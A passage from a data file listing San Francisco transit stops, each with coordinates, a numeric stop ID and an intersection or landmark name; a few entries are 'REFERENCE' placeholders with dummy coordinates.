['37.784532,-122.395325', '13009', '2nd St and Harrison St'], ['37.764771,-122.401711', '13313', '17th St and De Haro St'], ['37.714132,-122.475574', '17797', 'Brotherhood Way and Church Access Rd SW-NS-SB'], ['37.714488,-122.480224', '17796', 'Brotherhood Way and Grace SE-FS/SB'], ['37.764904,-122.401451', '13312', '17th St and De Haro St'], ['37.78397,-122.39877', '17157', 'Folsom St and Third St'], ['37.713484,-122.436786', '15483', 'Naples St and Rolph St'], ['37.720949,-122.446872', '17155', 'SAN JOSE AVE and GENEVA AVE'], ['37.720467,-122.446695', '17154', 'SAN JOSE AVE and GENEVA AVE'], ['37.71432,-122.46964', '17153', 'Randolph and 19th Ave'], ['37.8081,-122.41234', '17152', 'Powell St and Beach St'], ['37.73985,-122.46504', '17151', 'Portola Ave and Claremont Ave'], ['37.713457,-122.436626', '15482', 'Naples St and Rolph St'], ['37.73841,-122.43593', '14393', 'Diamond St and Conrad St'], ['37.720845,-122.446646', '11038', 'REFERENCE and REFERENCE'], ['37.720872,-122.446738', '11039', 'REFERENCE and REFERENCE'], ['37.7161,-122.43476', '15481', 'Naples St and Italy Ave'], ['37.720613,-122.446577', '11032', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11033', 'REFERENCE and REFERENCE'], ['37.794525,-122.394618', '11030', 'REFERENCE and REFERENCE'], ['37.764817,-122.403441', '13316', '17TH ST and KANSAS ST'], ['37.82,-12.24', '11036', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11037', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11034', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11035', 'REFERENCE and REFERENCE'], ['37.719719,-122.471533', '14245', 'Garfield St and Beverly St'], ['37.797189,-122.408604', '16521', 'Stockton St and Pacific Ave'], ['37.796244,-122.40826', '16520', 'Stockton St and Pacific Ave'], ['37.744686,-122.435601', '14378', 'Diamond St and 28th St'], ['37.74465,-122.435762', '14379', 'Diamond St and 28th St'], ['37.80054,-122.40928', '16525', 'Stockton St and Union St'], ['37.789953,-122.40714', '16524', 'Stockton St and Sutter St'], ['37.792572,-122.397016', '15658', 'Market St and Beale St'], ['37.769786,-122.426149', '15659', 'Market St and Buchanan St'], ['37.761006,-122.495851', '16529', 'Sunset Blvd and Judah St'], ['37.749486,-122.436059', '14373', 'Diamond St and 25th St'], ['37.75126,-122.43638', '14370', 'Diamond St and 24th St'], ['37.751075,-122.436219', '14371', 'Diamond St and 24th St'], ['37.746292,-122.435761', '14376', 'Diamond St and 27th St'], ['37.746256,-122.435922', '14377', 'Diamond St and 27th St'], ['37.747889,-122.43591', '14374', 'Diamond St and 26th St'], ['37.748175,-122.458951', '15248', 'Forest Hill Station'], ['37.71412,-122.387806', '11106', '49ERS DRIVE'], ['37.712791,-122.387944', '11104', 'JAMESTOWN AVE and LANSDALE AVE'], ['37.713389,-122.387715', '11105', '49ERS DRIVE'], ['37.74264,-122.42662', '17072', 'Church St and Day St'], ['37.714567,-122.485148', '14830', 'Lake Merced and Brotherhood Way'], ['37.758222,-122.444319', '14080', 'Clayton St and Market St'], ['37.765405,-122.447608', '14081', 'Clayton St and Parnassus Ave'], ['37.791472,-122.414121', '13869', 'California St and Jones St'], ['37.748175,-122.458951', '15246', 'Laguna Honda Blvd/Forest Hill Sta'], ['37.717264,-122.47443', '14084', 'Cambon Dr and Castelo Ave'], ['37.75911,-122.40966', '13739', 'Bryant St and 20th St'], ['37.716015,-122.474441', '14086', 'Cambon Dr and Font Blvd'], ['37.80266,-122.40579', '14087', 'COIT TOWER'], ['37.793438,-122.398643', '13863', 'California St and Front St'], ['37.763263,-122.449533', '14089', 'Cole St and Alma St'], ['37.788931,-122.434151', '13861', 'California St and Fillmore St'], ['37.79371,-122.39614', '13860', 'California St and Drumm St'], ['37.791018,-122.41756', '13867', 'California St and Hyde St'], ['37.792379,-122.405935', '13866', 'California St and Grant Ave'], ['37.792504,-122.405958', '13865', 'California St and Grant Ave'], ['37.79327,-122.39892', '13864', 'California St and Front St'], ['37.749079,-122.387479', '17364', 'Third Street and Marin St'], ['37.767384,-122.428893', '17073', 'Church St and Market St'], ['37.76167,-122.41004', '13735', 'Bryant St and 18th St'], ['37.801513,-122.431418', '15257', 'Laguna St and Chestnut St'], ['37.76262,-122.435231', '15728', 'Metro Castro Station/Downtown'], ['37.748592,-122.473834', '17572', '17th Ave and Quintara St'], ['37.736316,-122.398624', '16419', 'Silver Ave and Revere Ave'], ['37.728827,-122.416269', '16418', 'Silver Ave and Princeton St'], ['37.741451,-122.411223', '17577', 'Bernal Heights Blvd and Powhattan St'], ['37.808236,-122.409389', '17576', 'The Embarcadero and Grant St'], ['37.83178,-122.53626', '15722', "MITCHELL RD/Visitor's Center"], ['37.8002,-122.45899', '15723', 'Montgomery St (Presidio)/Bldg 102'], ['37.83183,-122.53238', '15720', 'Mitchell Rd and Bunker Rd'], ['37.831876,-122.530858', '15721', 'Mitchell Rd and Bunker Rd'], ['37.767194,-122.429168', '15726', 'Metro Church Station/Downtown'], ['37.728473,-122.428789', '16410', 'Silver Ave and Lisbon St'], ['37.728901,-122.4314', '16413', 'Silver Ave and Mission St'], ['37.731332,-122.408994', '16412', 'Silver Ave and Merrill St'], ['37.795753,-122.408318', '17777', 'Stockton St and Jackson St'], ['37.776324,-122.396133', '17776', 'Townsend St and 5th St'], ['37.78993,-122.394461', '17775', 'Beale St and Howard St'], ['37.785429,-122.407957', '17774', 'Ellis street and Powell street'], ['37.777764,-122.492183', '17773', 'Anza St&32 AVE'], ['37.73997,-122.388403', '17772', 'New Hall and Hudson SW-FS/BZ'], ['37.739961,-122.388414', '17771', 'New Hall and Hudsons SW-FS/BZ'], ['37.766119,-122.402627', '17770', '16th Street and Rhode Islandi St'], ['37.714772,-122.485114', '14832', 'Lake Merced Blvd and Brotherhood Way'], ['37.72154,-122.399802', '17779', 'Salinas Ave and Bayshore St'], ['37.721238,-122.446222', '17778', 'San Jose Ave and Geneva Ave'], ['37.765371,-122.452928', '13915', 'Carl St and Stanyan St'], ['37.765495,-122.45259', '13914', 'Carl St and Stanyan St'], ['37.764932,-122.456512', '13913', 'Carl St and Hillway Ave'], ['37.765003,-122.456561', '13912', 'Carl St and Hillway Ave'], ['37.765745,-122.450131', '13911', 'Carl St and Cole St'], ['37.73483,-122.41372', '14690', 'Folsom St and Crescent Ave'], ['37.792308,-122.407552', '13899', 'California St and Stockton St'], ['37.70864,-122.41987', '16343', 'Santos St and Geneva Ave'], ['37.75734,-122.39999', '13919', 'Carolina St and 22nd St'], ['37.778351,-122.449659', '16730', 'Turk St and Roselyn Ter'], ['37.777637,-122.455367', '16731', 'Turk St and Stanyan St'], ['37.777557,-122.455035', '16732', 'Turk St and Stanyan St'], ['37.71171,-122.41885', '16342', 'Santos St and Brookdale Ave'], ['37.71108,-122.42627', '14798', '1721 Geneva Ave'], ['37.71072,-122.42576', '14799', '1750 Geneva Ave'], ['37.741535,-122.46847', '16736', 'Ulloa St and Forest Side Ave'], ['37.741435,-122.4688', '16737', 'Ulloa St and Forest Side Ave'], ['37.741174,-122.46626', '16738', 'Ulloa St and Lenox Way'], ['37.71187,-122.42819', '14795', '1650 Geneva Ave'], ['37.71174,-122.42829', '14796', '1650 Geneva Ave'], ['37.711109,-122.426766', '14797', '1701 Geneva Ave'], ['37.716693,-122.475907', '14790', 'Gonzalez Dr and Font Blvd'], ['37.715979,-122.477167', '14791', 'Gonzalez Dr and Josepha Ave'], ['37.729955,-122.451205', '14792', 'Gennessee St and Flood Ave'], ['37.731419,-122.451216', '14793', 'Gennessee St and Monterey Blvd'], ['37.738829,-122.414615', '14152', 'Cortland Ave and Ellsworth St'], ['37.739,-122.41366', '14153', 'Cortland Ave and Folsom St'], ['37.7397,-122.41969', '14150', 'Cortland Ave and Elsie St'], ['37.77073,-122.42031', '15835', '150 Otis St'], ['37.736611,-122.443301', '15832', "O'Shaughnessy Blvd and Malta Dr"], ['37.736478,-122.443782', '15833', "O'Shaughnessy Blvd and Malta Dr"], ['37.73892,-122.41343', '14154', 'Cortland Ave and Folsom St'], ['37.741082,-122.44597', '15831', "O'Shaughnessy Blvd and Del Vale Ave"], ['37.73978,-122.41199', '14158', 'Cortland Ave and Prentiss St'], ['37.73957,-122.41211', '14159', 'Cortland Ave and Prentiss St'], ['37.786914,-122.419889', '15997', 'Polk St and Post St'], ['37.79555,-122.4182', '15838', 'Pacific Ave and Hyde St'], ['37.795381,-122.418395', '15839', 'Pacific Ave and Hyde St'], ['37.789359,-122.42053', '15996', 'Polk St and Pine St'], ['37.73984,-122.46698', '16904', 'West Portal Ave and Vicente St'], ['37.71479,-122.40057', '16348', '3800 San Bruno Ave'], ['37.801476,-122.422796', '15991', 'Polk St and Lombard St'], ['37.785022,-122.419661', '15993', "Polk St and O'Farrell St"], ['37.765375,-122.477197', '1210', 'LINCOLN WAY and 19TH AVE'], ['37.72792,-122.365447', '15633', 'Galvez Ave and Horne Ave'], ['37.711203,-122.485513', '14837', 'LAKE MERCED BLVD and LAKE MERCED HILLS BLVD'], ['37.787381,-122.446736', '16088', 'Presidio Ave and California St'], ['37.787354,-122.446897', '16089', 'Presidio Ave and California St'], ['37.75041,-122.44578', '16086', 'Parkridge Dr and Burnett Ave'], ['37.752351,-122.446084', '16087', 'PARKRIDGE DR and CRESTLINE DR'], ['37.71756,-122.4282', '16084', 'Prague St and Russia Ave'], ['37.71748,-122.42835', '16085', 'Prague St and Russia Ave'], ['37.71903,-122.42718', '16082', 'Prague St and Persia Ave'], ['37.71884,-122.42722', '16083', 'Prague St and Persia Ave'], ['37.710164,-122.435069', '16080', 'Prague St and Cordova Ave'], ['37.709968,-122.436798', '16081', 'Prague St and Drake St'], ['37.734404,-122.479625', '16439', 'Sloat Blvd and 23rd Ave'], ['37.790759,-122.393395', '16648', 'Transbay Temporary Terminal'], ['37.788937,-122.40058', '16649', 'TRANS BAY TERMINAL/TERMINAL W'], ['37.805257,-122.415307', '16644', 'Taylor St and Bay St'], ['37.803758,-122.414998', '16645', 'Taylor St and Columbus Ave'], ['37.804383,-122.414952', '16646', 'Taylor St and Francisco St'], ['37.789485,-122.396365', '16647', 'TRANSBAY TERMINAL'], ['37.742267,-122.494218', '16640', 'Taraval St and Sunset Blvd'], ['37.742179,-122.494651', '16641', 'Taraval St and Sunset Blvd'], ['37.804963,-122.415066', '16642', 'Taylor St and Bay St'], ['37.805329,-122.415238', '16643', 'Taylor St and Bay St'], ['37.723012,-122.397946', '15902', 'Paul Ave and Gould St'], ['37.722726,-122.397385', '15903', 'Paul Ave and Gould St'], ['37.722485,-122.396343', '15900', 'Paul Ave and Carr St'], ['37.71153,-122.48527', '14836', 'LAKE MERCED BLVD and LAKE MERCED HILLS BLVD'], ['37.720139,-122.429501', '15906', 'Persia Ave and Athens St'], ['37.720112,-122.429467', '15907', 'Persia Ave and Athens St'], ['37.723879,-122.401576', '15904', 'Paul Ave and San Bruno Ave'], ['37.723397,-122.400202', '15905', 'Paul Ave and Wheat St'], ['37.717782,-122.422504', '15908', 'Persia Ave and Brazil Ave'], ['37.717791,-122.422779', '15909', 'Persia Ave and Brazil Ave'], ['37.714595,-122.480189', '17801', 'Brotherhood way and Grace community Church NE-NS/SB'], ['37.800942,-122.42807', '17800', 'Lombard St&Gough St NW-FS/BZ'], ['37.793204,-122.393381', '17803', 'Mission Stt and Steuart St NW-FS/SB'], ['37.735039,-122.471515', '17802', 'West Potral and Sola Blvd NW-NS/SB'], ['37.714053,-122.473135', '17805', 'Chumasero Dr and Galindo Ave'], ['37.723031,-122.446932', '17804', 'Ocean Ave&I-280 on-ramp NE-NS/SB'], ['37.728551,-122.479096', '17807', 'Buckingham Way and Winston Dr'], ['37.722491,-122.483056', '17806', 'Font Blvd and Mary Ward Hall'], ['37.755208,-122.406667', '17809', 'Sf General Hospital'], ['37.75299,-122.40669', '13480', '24th St and Potrero Ave'], ['37.752445,-122.416156', '13483', '24th St and South Van Ness Ave'], ['37.751511,-122.429768', '13482', '24th St and Sanchez St'], ['37.752178,-122.420556', '13485', '24th St and Valencia St'], ['37.752311,-122.416373', '13484', '24th St and South Van Ness Ave'], ['37.778284,-122.484687', '13487', '25th Ave and Anza St'], ['37.752062,-122.42051', '13486', '24th St and Valencia St'], ['37.73986,-122.38264', '14563', 'EVANS AVE/US POST OFFICE'], ['37.745968,-122.39384', '14562', 'Evans Ave and Selby St'], ['37.744245,-122.390531', '14561', 'Evans Ave and Quint St'], ['37.742977,-122.388595', '14560', 'Evans Ave and Phelps St'], ['37.73262,-122.41893', '14567', '989 Ellsworth St'], ['37.73281,-122.41776', '14566', '945 Ellsworth St'], ['37.781429,-122.458955', '13649', 'Arguello Blvd and Geary Blvd'], ['37.774425,-122.458301', '13648', 'Arguello Blvd and Fulton St'], ['37.78374,-122.458956', '13647', 'Arguello Blvd and Euclid Ave'], ['37.783071,-122.45907', '13645', 'Arguello Blvd and Clement St'], ['37.78556,-122.459254', '13644', 'Arguello Blvd and California St'], ['37.785596,-122.459093', '13643', 'Arguello Blvd and California St'], ['37.777075,-122.458645', '13642', 'Arguello Blvd and Balboa St'], ['37.71166,-122.46711', '13641', 'Arch St and Alemany Blvd'], ['37.72076,-122.483078', '13640', 'Arballo Dr and Pinto Dr'], ['37.804813,-122.425157', '17799', 'Van Ness Ave&North Point St SE-NS/BZ'], ['37.729131,-122.419396', '16398', 'Silver Ave and Cambridge St'], ['37.729015,-122.419167', '16399', 'Silver Ave and Cambridge St'], ['37.77397,-122.46371', '13183', '6th Ave and Fulton St'], ['37.781854,-122.392232', '13004', '2nd St and Brannan St'], ['37.741156,-122.465523', '16392', 'West Portal Station Inbound'], ['37.729794,-122.433256', '16393', 'Silver Ave and Alemany Blvd'], ['37.71038,-122.45466', '16390', 'Sickles Ave and Alemany Blvd'], ['37.71029,-122.45478', '16391', 'Sickles Ave and Alemany Blvd'], ['37.730913,-122.410839', '16396', 'Silver Ave and Boylston St'], ['37.733052,-122.404365', '16397', 'Silver Ave and Bay Shore Blvd'], ['37.729589,-122.433175', '16394', 'Silver Ave and Alemany Blvd'], ['37.734586,-122.402188', '16395', 'Silver Ave and Augusta St'], ['37.772898,-122.453881', '15010', 'Hayes St and Stanyan St'], ['37.775627,-122.433203', '15011', 'Hayes St and Steiner St'], ['37.708368,-122.419954', '14899', 'Geneva Ave and Santos St'], ['37.720702,-122.446761', '14898', 'Geneva Ave and San Jose Ave'], ['37.776056,-122.429879', '15014', 'Hayes St and Webster St'], ['37.776035,-122.42919', '15015', 'Hayes St and Webster St'], ['37.731604,-122.499212', '15016', 'Herbst Rd and Skyline Blvd'], ['37.770307,-122.429929', '15017', 'Hermann St and Fillmore St'], ['37.715679,-122.439614', '14893', 'Geneva Ave and Paris St'], ['37.715714,-122.439305', '14892', 'Geneva Ave and Paris St'], ['37.714028,-122.435961', '14891', 'Geneva Ave and Naples St'], ['37.7894,-122.39722', '13002', '1st St and Mission St'], ['37.720961,-122.446978', '14896', 'Geneva Ave and San Jose Ave'], ['37.706939,-122.415534', '14895', 'Geneva Ave and Rio Verde St'], ['37.712832,-122.431805', '14894', 'Geneva Ave and Prague St'], ['37.765053,-122.417583', '17659', '16th St and South Van Ness'], ['37.796785,-122.437054', '16490', 'Steiner St and Union St'], ['37.73199,-122.37588', '15102', 'Innes Ave and Griffith St'], ['37.716083,-122.450435', '16266', 'San Jose Ave and Lakeview Ave'], ['37.783798,-122.488074', '13841', 'California St and 28th Ave'], ['37.72683,-122.44163', '16264', 'San Jose Ave and Havelock St'], ['37.713,-122.472779', '17792', 'Brotherhood way and Chumasero Dr W-NW/SB'], ['37.720462,-122.446887', '16262', 'San Jose Ave and Geneva Ave'], ['37.720685,-122.446772', '16263', 'San Jose Ave and Geneva Ave'], ['37.77677,-122.43806', '14419', 'Divisadero St and Fulton St'], ['37.720467,-122.446695', '16261', 'San Jose Ave and Geneva Ave'], ['37.78161,-122.43923', '14417', 'Divisadero St and Ellis St'], ['37.78181,-122.43907', '14416', 'Divisadero St and Ellis St'], ['37.780448,-122.438976', '14415', 'Divisadero St and Eddy St'], ['37.7805,-122.43881', '14414', 'Divisadero St and Eddy St'], ['37.78997,-122.44089', '14413', 'Divisadero St and Clay St'], ['37.789977,-122.440741', '14412', 'Divisadero St and Clay St'], ['37.800042,-122.442941', '14411', 'Divisadero St and Chestnut St'], ['37.785318,-122.396562', '13008', '2nd St and Folsom St'], ['37.784635,-122.407785', '16064', 'Powell St and Market St'], ['37.806666,-122.412038', '16065', 'Powell St and North Point St'], ['37.806497,-122.412176', '16066', 'Powell St and North Point St'], ['37.783658,-122.488456', '13842', 'California St and 28th Ave'], ['37.802945,-122.411272', '16060', 'Powell St and Lombard St'], ['37.802767,-122.411433', '16061', 'Powell St and Lombard St'], ['37.778914,-122.402137', '14969', 'Harrison St and 5th St'], ['37.780671,-122.399913', '14968', 'Harrison St and 4th St'], ['37.782436,-122.397676', '14967', 'Harrison St and 3rd St'], ['37.784193,-122.395451', '14966', 'Harrison St and 2nd St'], ['37.786182,-122.392928', '14965', 'Harrison St and 1st St'], ['37.752826,-122.407218', '14964', 'Hampshire St and 24th St'], ['37.786322,-122.407933', '16068', "Powell St and O'Farrell St"], ['37.769331,-122.452845', '14962', 'Haight St and Stanyan St'], ['37.719192,-122.425802', '1913', 'DUBLIN ST and LAGRANDE AVE'], ['37.719362,-122.425779', '1912', 'DUBLIN ST and BRAZIL AVE'], ['37.731615,-122.449166', '15432', 'Monterey Blvd and Foerster St'], ['37.787738,-122.443634', '13847', 'California St and Baker St'], ['37.783478,-122.415718', '14479', 'Eddy St and Hyde St'], ['37.793569,-122.480487', '17097', 'Lincoln Blvd and Stillwell Rd'], ['37.74668,-122.43148', '15732', 'Noe St and 27th St'], ['37.785659,-122.459036', '13846', 'California St and Arguello Blvd'], ['37.717443,-122.47427', '14083', 'Cambon Dr and Castelo Ave'], ['37.73008,-122.461502', '15430', 'Monterey Blvd and El Verano Way'], ['37.767536,-122.431277', '13261', '14th St and Sanchez St'], ['37.76767,-122.431105', '13260', '14th St and SANCHEZ ST'], ['37.75268,-122.47206', '13263', '15th Ave and Ortega St'], ['37.75411,-122.47217', '13262', '15th Ave and Noriega St'], ['37.74891,-122.47183', '13265', '15th Ave and Quintara St'], ['37.75081,-122.47196', '13264', '15th Ave and Pacheco St'], ['37.743069,-122.471405', '13267', '15th Ave and Taraval St'], ['37.743124,-122.471297', '13266', '15th Ave and Taraval St'], ['37.764366,-122.458024', '15124', 'Irving St and Arguello Blvd'], ['37.741525,-122.471192', '13268', '15th Ave and Ulloa St'], ['37.71607,-122.49539', '15126', '515 John Muir Dr'], ['37.71653,-122.49655', '15127', '555 John Muir Dr'], ['37.764226,-122.461061', '15120', 'Irving St and 4th Ave'], ['37.764155,-122.464034', '15121', 'Irving St and 7th Ave'], ['37.764092,-122.464282', '15122', 'Irving St and 7th Ave'], ['37.764106,-122.466165', '15123', 'Irving St and 9th Ave'], ['37.751787,-122.425265', '13467', '24th St and Dolores St'], ['37.751903,-122.425311', '13466', '24th St and Dolores St'], ['37.751092,-122.436402', '13465', '24th St and Diamond St'], ['37.751226,-122.436184', '13464', '24th St and Diamond St'], ['37.751262,-122.433939', '13463', '24th St and Castro St'], ['37.75136,-122.434248', '13462', '24th St and Castro St'], ['37.751644,-122.427545', '13461', '24th St and Church St'], ['37.751778,-122.427327', '13460', '24th St and Church St'], ['37.737579,-122.390524', '17373', 'Newhall St and La Salle Ave'], ['37.737945,-122.38963', '17372', 'Kirkwood Ave and 3rd St'], ['37.737517,-122.390513', '17371', 'Newhall St and La Salle Ave'], ['37.736268,-122.391636', '17370', 'Newhall St and Newcomb Ave'], ['37.748945,-122.387422', '17377', 'Third St and Marin St'], ['37.718809,-122.397468', '17376', 'Third St and Le Conte Ave'], ['37.75256,-122.414242', '13469', '24th St and Folsom St'], ['37.736331,-122.391648', '17374', 'Newhall St and Newcomb Ave'], ['37.72534,-122.36871', '17156', 'SPEAR ST and COCHRANE ST'], ['37.756597,-122.463741', '13188', '1697 7th Ave'], ['37.76015,-122.47671', '13366', '19th Ave and Kirkham St'], ['37.75995,-122.47695', '13367', '19th Ave and Kirkham St'], ['37.713279,-122.456174', '17230', 'PLYMOUTH AVE and BROAD ST'], ['37.758023,-122.473791', '17231', '16th Avenue at Lawton Street'], ['37.716889,-122.472275', '13361', '19th Ave and Junipero Serra Blvd'], ['37.71805,-122.47318', '13362', '19th Ave and Junipero Serra Blvd'], ['37.75738,-122.42807', '17018', 'Church St and Liberty St'], ['37.782893,-122.466422', '17019', 'Clement St and 8th Ave'], ['37.75978,-122.42829', '17017', 'Church St and 19th St'], ['37.77677,-122.44496', '17014', 'Central Ave and McAllister St'], ['37.72735,-122.36098', '17150', 'Lockwood St and Bldg 214'], ['37.71201,-122.40092', '17012', 'Blanken Ave and Tunnel Ave'], ['37.784749,-122.46704', '17013', 'California St and 8th Ave'], ['37.71159,-122.39919', '17010', 'Blanken Ave and Peninsula Ave'], ['37.71162,-122.39896', '17011', 'Blanken Ave and Peninsula Ave'], ['37.776323,-122.394036', '15238', 'King St and 4th St'], ['37.776207,-122.394231', '15239', 'King St and 4th St'], ['37.76356,-122.40346', '15230', 'Kansas St and Mariposa St'], ['37.73862,-122.38101', '15231', 'Keith St and Evans Ave'], ['37.732581,-122.386634', '15232', 'Keith St and Oakdale Ave'], ['37.732367,-122.386611', '15233', 'Keith St and Oakdale Ave'], ['37.77972,-122.389872', '15234', 'King St and 2nd St'], ['37.7796,-122.38955', '15235', 'King St and 2nd St'], ['37.7798,-122.38994', '15236', 'King St and 2nd St'], ['37.779621,-122.389824', '15237', 'King St and 2nd St'], ['37.772188,-122.490712', '17238', 'FULTON ST and 31ST AVE'], ['37.718291,-122.425688', '17239', 'MANSELL ST and PERSIA AVE'], ['37.75691,-122.461484', '16909', '400 Warren Dr E'], ['37.804544,-122.41517', '1753', 'TAYLOR STREET TURNABLE IN IB'], ['37.806722,-122.420684', '1752', 'HYDE STREET TURNABLE OUT OB'], ['37.805785,-122.42049', '1751', 'HYDE STREET TURNABLE IN IB'], ['37.792023,-122.409283', '1750', 'CALIFORNIA ST and POWELL ST'], ['37.794594,-122.411483', '1757', 'REFERENCE and REFERENCE'], ['37.78476,-122.407819', '1756', 'POWELL STREET TURNABLE OUT OB'], ['37.784778,-122.407613', '1755', 'POWELL STREET TURNABLE IN IB'], ['37.804544,-122.41517', '1754', 'TAYLOR STREET TURNABLE OUT OB'], ['37.794585,-122.411551', '1758', 'REFERENCE and REFERENCE'], ['37.74674,-122.42024', '16886', 'Valencia St and Duncan St'], ['37.77133,-122.4226', '16887', 'Valencia St and Mccoppin St'], ['37.769801,-122.422451', '16884', 'Valencia St and Duboce Ave'], ['37.803629,-122.445222', '13073', 'Broderick St and Beach St'], ['37.803415,-122.445176', '13074', 'Broderick St and Beach St'], ['37.77015,-122.4223', '16883', 'Valencia St and Duboce Ave'], ['37.74866,-122.42043', '16880', 'Valencia St and 26th St'], ['37.802478,-122.444982', '13077', 'Broderick St and North Point St'], ['37.798543,-122.400726', '13078', 'Broadway and Battery St'], ['37.79897,-122.39858', '13079', 'Broadway and Davis St'], ['37.76456,-122.40444', '16888', 'Vermont St and 17th St'], ['37.76221,-122.40433', '16889', 'Vermont St and 18th St'], ['37.794221,-122.393736', '11025', 'MUNI METRO TNL and DRUMM ST'], ['37.718119,-122.414464', '15345', 'Mansell St and John F Shelley Dr'], ['37.760572,-122.388638', '17168', '3RD ST and 20TH ST'], ['37.776367,-122.393955', '17169', '4TH ST and BERRY ST'], ['37.719376,-122.409058', '15340', 'Mansell St and Dartmouth St'], ['37.720677,-122.404098', '15341', 'Mansell St and Goettingen St'], ['37.720766,-122.404338', '15342', 'Mansell St and Goettingen St'], ['37.720098,-122.406916', '15343', 'Mansell St and Hamilton St'], ['37.769463,-122.429133', '17162', 'Duboce Ave and Church St - Ramp'], ['37.775029,-122.419252', '17163', 'MARKET ST and 12TH ST'], ['37.784792,-122.466819', '17160', 'California St and 8th St'], ['37.71441,-122.47003', '17161', '19th Ave and Randolph St'], ['37.776278,-122.393864', '17166', '4th St and King St'], ['37.762972,-122.388843', '17167', '3rd St and Mariposa St'], ['37.720613,-122.446577', '17164', 'SAN JOSE AVE and GENEVA AVE'], ['37.720622,-122.446566', '17165', 'SAN JOSE AVE and GENEVA AVE'], ['37.74871,-122.47584', '16140', 'Quintara St and 19th Ave'], ['37.799538,-122.41586', '16763', 'Union St and Jones St'], ['37.739226,-122.450529', '15456', 'Myra Way and Omar Way'], ['37.74159,-122.43574', '14364', 'Diamond Heights Blvd and Diamond St'], ['37.74363,-122.43751', '14367', 'Diamond Heights Blvd and Gold Mine Dr'], ['37.745239,-122.439852', '14366', 'Diamond Heights Blvd and Duncan St'], ['37.73867,-122.43668', '14361', 'Diamond Heights Blvd and Berkeley'], ['37.740198,-122.435762', '14360', 'Diamond Heights Blvd and Addison St'], ['37.74185,-122.43566', '14363', 'Diamond Heights Blvd and Diamond St'], ['37.7386,-122.4369', '14362', 'Diamond Heights Blvd and Berkeley Way'], ['37.74359,-122.43786', '14369', 'Diamond Heights Blvd and Gold Mine Dr'], ['37.74029,-122.43588', '14368', 'Diamond Heights Blvd and Gold Mine Dr'], ['37.754756,-122.505449', '13585', '46th Ave and Moraga St'], ['37.77981,-122.413186', '15649', 'Market St and 7th St'], ['37.78129,-122.411329', '15648', 'Market St and 6th St'], ['37.80285,-122.44329', '15457', 'North Point St and Divisadero St'], ['37.787712,-122.403209', '15641', 'Market St and 3rd St'], ['37.787525,-122.403519', '15640', 'Market St and 3rd St'], ['37.785652,-122.405893', '15643', 'Market St and 4th St'], ['37.786597,-122.404586', '15642', 'Market St and 4th St'], ['37.783886,-122.408141', '15645', 'Market St and 5th St'], ['37.78484,-122.406834', '15644', 'Market St and 4th St'], ['37.782102,-122.4104', '15647', 'Market St and 6th St'], ['37.783395,-122.408657', '15646', 'Market St and 5th St'], ['37.75506,-122.3881', '13108', '3rd St and 23rd St'], ['37.75313,-122.38766', '13109', '3rd St and 25th St'], ['37.82731,-122.368295', '13678', 'Avenue M and 10th St'], ['37.76059,-122.3887', '13104', '3rd St and 20th St'], ['37.75817,-122.38821', '13105', '3rd St and 22nd St'], ['37.75803,-122.38845', '13106', '3rd St and 22nd St'], ['37.75569,-122.3879', '13107', '3rd St and 23rd St'], ['37.76781,-122.38935', '13100', '1730 3rd St'], ['37.76336,-122.38863', '13101', '3rd St and 18th St'], ['37.76269,-122.38883', '13102', '3rd St and 18th St'], ['37.76079,-122.38846', '13103', '3rd St and 20th St'], ['37.82,-12.24', '11110', 'REFERENCE and REFERENCE'], ['37.78455,-122.47215', '11112', 'CALIFORNIA ST and FUNSTON AVE'], ['37.71641,-122.440748', '11115', 'GENEVA AVE and MISSION ST'], ['37.794911,-122.436669', '16492', 'Steiner St and Vallejo St'], ['37.714389,-122.388721', '11119', 'JAMESTOWN AVE and CANDLESTICK PARK'], ['37.763237,-122.443792', '16239', 'Roosevelt Way and Lower Ter'], ['37.76342,-122.4437', '16238', 'Roosevelt Way and Lower Ter'], ['37.760926,-122.449052', '14093', 'Cole St and Carmel St'], ['37.76556,-122.44996', '14092', 'Cole St and Carl St'], ['37.76594,-122.449911', '14091', 'Cole St and Carl St'], ['37.76313,-122.44938', '14090', 'Cole St and Alma St'], ['37.76477,-122.44971', '14097', 'Cole St and Parnassus Ave'], ['37.769447,-122.450771', '14096', 'Cole St and Haight St'], ['37.769456,-122.45061', '14095', 'Cole St and Haight St'], ['37.76683,-122.4502', '14094', 'Cole St and Frederick St'], ['37.768528,-122.450427', '14099', 'Cole St and Waller St'], ['37.76462,-122.44978', '14098', 'Cole St and Parnassus Ave'], ['37.7827,-122.46837', '14046', 'Clement St and 10th Ave'], ['37.74493,-122.43117', '15735', 'Noe St and 28th St'], ['37.74519,-122.43134', '15734', 'Noe St and 28th St'], ['37.7433,-122.43104', '15737', 'Noe St and 29th St'], ['37.793027,-122.396591', '1923', 'MARKET ST and BEALE ST'], ['37.788702,-122.401925', '15731', 'Metro Montgomery Station/Downtown'], ['37.748351,-122.458623', '15730', 'Metro Forest Hill Station/Downtown'], ['37.74654,-122.43132', '15733', 'Noe St and 27th St'], ['37.72637,-122.41851', '14584', 'Felton St and Cambridge St'], ['37.799743,-122.41422', '16785', 'Union St and Taylor St'], ['37.75526,-122.47312', '15739', 'Noriega St and 16th Ave'], ['37.72597,-122.42028', '14587', 'Felton St and Harvard St'], ['37.74507,-122.4735', '16468', 'Santiago St and 17th Ave'], ['37.710708,-122.431507', '16469', 'South Hill Blvd and Chicago Way'], ['37.785514,-122.396597', '17588', '2nd St and Folsom St'], ['37.75468,-122.39863', '16959', 'Wisconsin St and 23rd St'], ['37.734555,-122.482237', '16460', 'Sloat Blvd and Paraiso Pl'], ['37.733702,-122.496819', '16461', 'Sloat Blvd and Skyline Blvd'], ['37.734125,-122.485834', '16462', 'Sloat Blvd and Sylvan Dr'], ['37.734483,-122.483955', '16463', 'Sloat Blvd and Vale Ave'], ['37.73246,-122.474939', '17580', '19th Ave and Ocean Ave'], ['37.734575,-122.471881', '16465', 'Sloat Blvd and West Portal Ave'], ['37.740875,-122.46572', '17582', 'Ulloa St and West Portal Ave Arrive'], ['37.741098,-122.466144', '17583', 'Ulloa St and West Portal Ave Leave'], ['37.710968,-122.446268', '17742', 'Morse St and Lowell St'], ['37.72499,-122.41339', '16789', 'University St and Bacon St'], ['37.793433,-122.407861', '16522', 'Stockton St and Sacramento St'], ['37.748081,-122.413763', '17746', 'Folsom and Cesar Chavz St'], ['37.766493,-122.439505', '16233', 'Roosevelt Way and 15th St'], ['37.748216,-122.419022', '17744', 'Cesar Chavez and 